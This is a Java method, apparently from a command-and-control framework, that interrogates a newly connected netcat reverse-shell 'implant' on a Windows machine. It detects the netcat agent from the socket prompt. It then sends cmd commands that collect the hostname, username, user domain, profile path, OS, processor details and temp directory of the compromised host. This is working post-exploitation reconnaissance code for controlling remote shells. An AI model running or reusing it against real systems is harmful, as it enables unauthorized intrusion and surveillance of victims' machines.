public boolean interrogateNewAgent_NETCAT_OLDER(BufferedReader brSocket)
  {
    try
    {
      String strThirdLine = brSocket.readLine();

      if ((strThirdLine != null) && (strThirdLine.trim().equals("")))
      {
        Drivers.sop("-->>> Almost there... Confidence level is 75% ...");

        sendCommand_RAW("");

        String strFourthLine = brSocket.readLine();

        if ((strFourthLine != null) && (strFourthLine.trim().endsWith(">")))
        {
          Drivers.sop("-->>>> OK. So as best as I can tell, this is a netcat agent. I will label this implant netcat -->>>> Confidence level for netcat: 100% -->>>> I am sending commands to better interrogate the system now...");

          this.myIMPLANT_ID = 1;
          try { this.myImplantName = Driver.ARR_IMPLANT_NAME[this.myIMPLANT_ID]; } catch (Exception e) { this.myImplantName = "UNKNOWN"; }

          this.i_am_NETCAT_Agent = true;

          this.myImplantInitialLaunchDirectory = strFourthLine;

          brSocket.readLine();
        }

      }

      sendCommand_RAW("hostname");
      brSocket.readLine();
      this.myHostName = brSocket.readLine();

      sendCommand_RAW("echo %username%");
      brSocket.readLine();
      brSocket.readLine();
      brSocket.readLine();
      this.myUserName = brSocket.readLine();

      sendCommand_RAW("echo %homedrive%");
      brSocket.readLine();
      brSocket.readLine();
      brSocket.readLine();
      this.myHomeDrive = brSocket.readLine();
      if ((this.myHomeDrive != null) && (this.myHomeDrive.trim().equals("%homedrive%")))
      {
        this.myHomeDrive = " - ";
      }

      sendCommand_RAW("echo %NUMBER_OF_PROCESSORS%");
      brSocket.readLine();
      brSocket.readLine();
      brSocket.readLine();
      this.myNumberOfProcessors = brSocket.readLine();

      sendCommand_RAW("echo %OS%");
      brSocket.readLine();
      brSocket.readLine();
      brSocket.readLine();
      this.myOS_Type = brSocket.readLine();

      sendCommand_RAW("echo %PROCESSOR_ARCHITECTURE%");
      brSocket.readLine();
      brSocket.readLine();
      brSocket.readLine();
      this.myProcessorArchitecture = brSocket.readLine();

      sendCommand_RAW("echo %SystemRoot%");
      brSocket.readLine();
      brSocket.readLine();
      brSocket.readLine();
      this.mySystemRoot = brSocket.readLine();

      sendCommand_RAW("echo %USERDOMAIN%");
      brSocket.readLine();
      brSocket.readLine();
      brSocket.readLine();
      this.myUserDomain = brSocket.readLine();

      sendCommand_RAW("echo %USERPROFILE%");
      brSocket.readLine();
      brSocket.readLine();
      brSocket.readLine();
      this.myUserProfile = brSocket.readLine();

      sendCommand_RAW("echo %TEMP%");
      brSocket.readLine();
      brSocket.readLine();
      brSocket.readLine();
      this.myTempPath = brSocket.readLine();

      Drivers.sop("PUNT!!!  Nope. I am stopping the interrogation of this system early.  I did not expect to encounter an agent running an older version of cmd.exe and it is unclear if I can interact with wmic on the target.  If needed, contact Splinter and ask for the methods to continue the interrogation.");

      return true;
    }
    catch (Exception e)
    {
      Drivers.eop("interrogateNewAgent_NETCAT_OLDER", this.strMyClassName, e, e.getLocalizedMessage(), false);
    }

    return false;
  }